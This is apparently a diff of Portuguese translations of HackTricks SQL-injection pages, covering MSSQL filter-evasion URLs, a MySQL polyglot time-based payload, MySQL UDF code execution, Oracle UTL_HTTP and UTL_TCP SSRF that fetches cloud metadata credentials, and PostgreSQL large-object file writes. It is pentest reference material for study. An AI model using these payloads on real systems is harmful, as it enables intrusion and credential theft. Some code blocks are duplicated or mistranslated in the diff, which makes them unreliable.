### **Exploração Rápida: Recuperando o Conteúdo Completo da Tabela em uma Única Consulta**
[Truque daqui](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).
@ -190,21 +190,17 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERV
Non-standard whitespace characters: %C2%85 или %C2%A0:
```
### MSSQL Injection
#### Técnica de Injeção MSSQL
A seguinte URL é um exemplo de uma tentativa de injeção SQL em um banco de dados MSSQL:
`https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--`
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
```
Scientific (0e) and hex (0x) notation for obfuscating UNION:
```
- **Injeção de SQL MSSQL**
- **Descrição:** Essas solicitações estão tentando explorar uma vulnerabilidade de injeção de SQL no MSSQL usando a técnica de Union-Based SQL Injection.
- **Recomendação:** Para mitigar esse tipo de ataque, é essencial validar e sanitizar todas as entradas do usuário antes de executar consultas SQL. Além disso, o uso de prepared statements ou ORM pode ajudar a prevenir esse tipo de vulnerabilidade.
```plaintext
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
```
```
A period instead of a whitespace between FROM and a column name:
@ -228,8 +224,10 @@ According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-w
SELECT 'a' SELECT 'b'
```
---
```sql
SELECIONAR 'a' SELECIONAR 'b'
SELECT 'a' SELECT 'b'
```
```
@ -248,8 +246,8 @@ drop table[test]
Can be reduced to:
```sql
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```plaintext
Utilize[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
```
@ -290,7 +288,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
@ -14,7 +14,7 @@
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
@ -62,7 +62,7 @@ strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
A partir de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
de [https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/](https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/)
## Fluxo
@ -164,17 +164,17 @@ mysql> select version();
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
{% embed url="https://www.rootedcon.com/" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.

View file

@ -6,10 +6,10 @@
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -22,13 +22,13 @@ Na exploração da exfiltração de dados Out of Band do SQL, a função `LOAD_F
A variável global `secure_file_priv`, se não definida, tem como padrão `/var/lib/mysql-files/`, limitando o acesso a arquivos a este diretório, a menos que seja definida como uma string vazia (`""`). Este ajuste requer modificações no arquivo de configuração do banco de dados ou nos parâmetros de inicialização.
Dado que `secure_file_priv` está desativado (`""`), e assumindo que o arquivo necessário e as permissões `file_priv` são concedidas, arquivos fora do diretório designado podem ser lidos. No entanto, a capacidade dessas funções de fazer chamadas de rede depende muito do sistema operacional. Em sistemas Windows, chamadas de rede para caminhos UNC são viáveis devido à compreensão do sistema operacional das convenções de nomenclatura UNC, potencialmente levando à exfiltração de hashes NTLMv2.
Dado que `secure_file_priv` está desativado (`""`), e assumindo que as permissões necessárias de arquivo e `file_priv` são concedidas, arquivos fora do diretório designado podem ser lidos. No entanto, a capacidade dessas funções de fazer chamadas de rede depende muito do sistema operacional. Em sistemas Windows, chamadas de rede para caminhos UNC são possíveis devido ao entendimento do sistema operacional das convenções de nomenclatura UNC, potencialmente levando à exfiltração de hashes NTLMv2.
Este método de SSRF é limitado à porta TCP 445 e não permite a modificação do número da porta, embora possa ser usado para acessar compartilhamentos com privilégios de leitura total e, como demonstrado em pesquisas anteriores, para roubar hashes para exploração adicional.
### Execução de Código Remoto (RCE) via Funções Definidas pelo Usuário (UDF)
Bancos de dados MySQL oferecem o uso de Funções Definidas pelo Usuário (UDF) a partir de arquivos de biblioteca externos. Se essas bibliotecas forem acessíveis em diretórios específicos ou no `$PATH` do sistema, elas podem ser invocadas de dentro do MySQL.
Bancos de dados MySQL oferecem o uso de Funções Definidas pelo Usuário (UDF) a partir de arquivos de biblioteca externos. Se essas bibliotecas forem acessíveis dentro de diretórios específicos ou no `$PATH` do sistema, elas podem ser invocadas de dentro do MySQL.
Essa técnica permite a execução de solicitações de rede/HTTP por meio de uma UDF, desde que várias condições sejam atendidas, incluindo acesso de gravação ao `@@plugin_dir`, `file_priv` definido como `Y` e `secure_file_priv` desativado.
@ -36,7 +36,7 @@ Por exemplo, a biblioteca `lib_mysqludf_sys` ou outras bibliotecas UDF que permi
O processo varia se o `@@plugin_dir` não for gravável, especialmente para versões do MySQL acima de `v5.0.67`. Nesses casos, devem ser usados caminhos alternativos que sejam graváveis.
A automação desses processos pode ser facilitada por ferramentas como o SQLMap, que suporta injeção de UDF, e para injeções de SQL cegas, a redireção de saída ou técnicas de contrabando de solicitações DNS podem ser utilizadas.
A automação desses processos pode ser facilitada por ferramentas como o SQLMap, que suporta injeção de UDF, e para injeções de SQL cegas, a redireção de saída ou técnicas de contrabando de solicitação DNS podem ser utilizadas.
<details>
@ -44,10 +44,10 @@ A automação desses processos pode ser facilitada por ferramentas como o SQLMap
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,12 +4,12 @@
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -20,7 +20,7 @@ Outras maneiras de apoiar o HackTricks:
Usar o Oracle para fazer solicitações HTTP e DNS fora de banda é bem documentado, mas como um meio de exfiltrar dados SQL em injeções. Sempre podemos modificar essas técnicas/funções para fazer outros SSRF/XSPA.
Instalar o Oracle pode ser realmente doloroso, especialmente se você quiser configurar uma instância rapidamente para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
Instalar o Oracle pode ser realmente doloroso, especialmente se você deseja configurar uma instância rápida para experimentar comandos. Meu amigo e colega da [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), me indicou o [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) que me permitiu configurar uma instância em uma máquina AWS Ubuntu t2.large e Docker.
Executei o comando docker com a flag `--network="host"` para que eu pudesse imitar o Oracle como uma instalação nativa com acesso total à rede, durante o curso deste post no blog.
```
@ -49,7 +49,7 @@ A pesquisa retornou os seguintes resultados (nem todos podem ser usados para rea
* DBMS\_STREAMS\_ADM
* UTL\_HTTP
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) como [a página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
Esta pesquisa rudimentar obviamente ignora pacotes como `DBMS_LDAP` (que permite passar um nome de host e número de porta) pois a [página de documentação](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360) simplesmente o direciona para uma [localização diferente](https://docs.oracle.com/database/121/ARPLS/d\_ldap.htm#ARPLS360). Portanto, pode haver outros pacotes Oracle que podem ser abusados para fazer solicitações de saída que eu possa ter perdido.
De qualquer forma, vamos dar uma olhada em alguns dos pacotes que descobrimos e listamos acima.
@ -70,11 +70,11 @@ SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` indica que a porta está fechada, enquanto um valor de sessão aponta para a porta estar aberta.
Um `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` mostra que a porta está fechada enquanto um valor de sessão aponta para a porta estar aberta.
**UTL\_SMTP**
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer uma especificação de host e porta.
O pacote `UTL_SMTP` é projetado para enviar e-mails via SMTP. O exemplo fornecido no [site de documentação da Oracle mostra como você pode usar este pacote para enviar um e-mail](https://docs.oracle.com/database/121/ARPLS/u\_smtp.htm#ARPLS71478). Para nós, no entanto, o interessante é a capacidade de fornecer um host e especificação de porta.
Um exemplo simples é mostrado abaixo com a função `UTL_SMTP.OPEN_CONNECTION`, com um tempo limite de 2 segundos.
```
@ -96,7 +96,7 @@ Um `ORA-29276: tempo de transferência expirado` indica que a porta está aberta
O pacote `UTL_TCP` e seus procedimentos e funções permitem [comunicação baseada em TCP/IP com serviços](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Se programado para um serviço específico, este pacote pode facilmente se tornar uma forma de acessar a rede ou realizar solicitações completas do lado do servidor, pois todos os aspectos de uma conexão TCP/IP podem ser controlados.
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificá-lo um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
O exemplo [no site de documentação da Oracle mostra como você pode usar este pacote para fazer uma conexão TCP bruta para buscar uma página da web](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Podemos simplificar um pouco mais e usá-lo para fazer solicitações à instância de metadados, por exemplo, ou a um serviço TCP/IP arbitrário.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
@ -138,9 +138,9 @@ END;
```
Interessantemente, devido à capacidade de criar solicitações TCP brutas, este pacote também pode ser usado para consultar o serviço de metadados da Instância de todos os provedores de nuvem, já que o tipo de método e cabeçalhos adicionais podem ser passados dentro da solicitação TCP.
**UTL\_HTTP e Solicitações Web**
**UTL_HTTP e Solicitações Web**
Possivelmente a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band é o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u\_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
Talvez a técnica mais comum e amplamente documentada em todos os tutoriais de Injeção de SQL Oracle Out of Band seja o [pacote `UTL_HTTP`](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Este pacote é definido pela documentação como - `O pacote UTL_HTTP faz chamadas de Protocolo de Transferência de Hipertexto (HTTP) do SQL e PL/SQL. Você pode usá-lo para acessar dados na Internet via HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
@ -150,6 +150,6 @@ select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados são um sinal de que a porta está aberta.
Um `ORA-12541: TNS:no listener` ou um `TNS:operation timed out` é um sinal de que a porta TCP está fechada, enquanto um `ORA-29263: HTTP protocol error` ou dados é um sinal de que a porta está aberta.
Outro pacote que já utilizei no passado com sucesso variado é o [método `GETCLOB()` do tipo abstrato Oracle `HTTPURITYPE`](https://docs.oracle.com/database/121/ARPLS/t\_dburi.htm#ARPLS71705) que permite interagir com uma URL e oferece suporte para o protocolo HTTP. O método `GETCLOB()` é usado para buscar a resposta GET de uma URL como um [tipo de dado CLOB.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;

View file

@ -7,8 +7,8 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -16,9 +16,9 @@ Outras maneiras de apoiar o HackTricks:
O PostgreSQL oferece uma estrutura conhecida como **objetos grandes**, acessíveis através da tabela `pg_largeobject`, projetada para armazenar tipos de dados grandes, como imagens ou documentos PDF. Esta abordagem é vantajosa em relação à função `COPY TO`, pois permite a **exportação de dados de volta para o sistema de arquivos**, garantindo que uma réplica exata do arquivo original seja mantida.
Para **armazenar um arquivo completo** dentro desta tabela, um objeto deve ser criado na tabela `pg_largeobject` (identificado por um LOID), seguido pela inserção de fragmentos de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses fragmentos tenham exatamente 2KB de tamanho (com a possível exceção do último fragmento) para garantir que a função de exportação seja executada corretamente.
Para **armazenar um arquivo completo** dentro desta tabela, um objeto deve ser criado na tabela `pg_largeobject` (identificado por um LOID), seguido pela inserção de pedaços de dados, cada um com 2KB de tamanho, neste objeto. É crucial que esses pedaços tenham exatamente 2KB de tamanho (com a possível exceção do último pedaço) para garantir que a função de exportação seja executada corretamente.
Para **dividir seus dados binários** em fragmentos de 2KB, os seguintes comandos podem ser executados:
Para **dividir seus dados binários** em pedaços de 2KB, os seguintes comandos podem ser executados:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
@ -29,7 +29,7 @@ xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Importante**: Ao automatizar este processo, certifique-se de enviar pedaços de 2KB de bytes de texto simples. Arquivos codificados em hexadecimal exigirão 4KB de dados por pedaço devido ao dobro de tamanho, enquanto arquivos codificados em Base64 seguem a fórmula `ceil(n / 3) * 4`.
O conteúdo dos objetos grandes pode ser visualizado para fins de depuração usando:
O conteúdo dos grandes objetos pode ser visualizado para fins de depuração usando:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
@ -40,7 +40,7 @@ Para armazenar dados binários, primeiro é criado um LOID:
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, `lo_create` é preferido para especificar um LOID fixo.
Em situações que exigem controle preciso, como explorar uma Injeção de SQL Blind, `lo_create` é preferível para especificar um LOID fixo.
Os pedaços de dados podem então ser inseridos da seguinte forma:
```sql
@ -65,7 +65,7 @@ Após a criação do objeto, os dados são inseridos por página, garantindo que
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
Para completar o processo, os dados são exportados e o large object é deletado:
Para completar o processo, os dados são exportados e o grande objeto é excluído:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
@ -80,10 +80,10 @@ select lo_unlink(173454); -- Deletes the specified large object
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Especialista Red Team AWS do HackTricks)</strong></a><strong>!</strong></summary>
Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
